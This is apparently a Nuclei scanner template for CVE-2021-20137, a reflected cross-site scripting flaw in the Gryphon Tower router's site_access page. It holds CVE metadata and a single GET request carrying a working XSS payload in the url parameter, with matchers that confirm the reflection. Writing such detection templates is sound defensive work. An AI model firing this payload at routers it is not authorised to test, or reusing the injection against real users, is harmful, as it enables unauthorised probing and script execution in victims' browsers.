50 lines
1.8 KiB
YAML
50 lines
1.8 KiB
YAML
id: CVE-2021-20137
|
|
|
|
info:
|
|
name: Gryphon Tower - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
|
|
remediation: |
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
|
reference:
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
|
|
- https://www.tenable.com/security/research/tra-2021-51
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-20137
|
|
cwe-id: CWE-79
|
|
epss-score: 0.29476
|
|
epss-percentile: 0.96415
|
|
cpe: cpe:2.3:o:gryphonconnect:gryphon_tower_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: gryphonconnect
|
|
product: gryphon_tower_firmware
|
|
tags: xss,tenable,cve,cve2021,gryphon
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'onfocus=alert(document.domain) autofocus=1>'
|
|
- 'Send Access Request URL'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022034d9214e31fe24c5291165b0fb6afc05bee4932e4c2f0e95f0d70219f7c73aa902210083887698e4b54381b57fb72dc03202c65a1c0f1cbe1c5d859bfda9b4d1466b5d:922c64590222798bb761d5b6d8e72950 |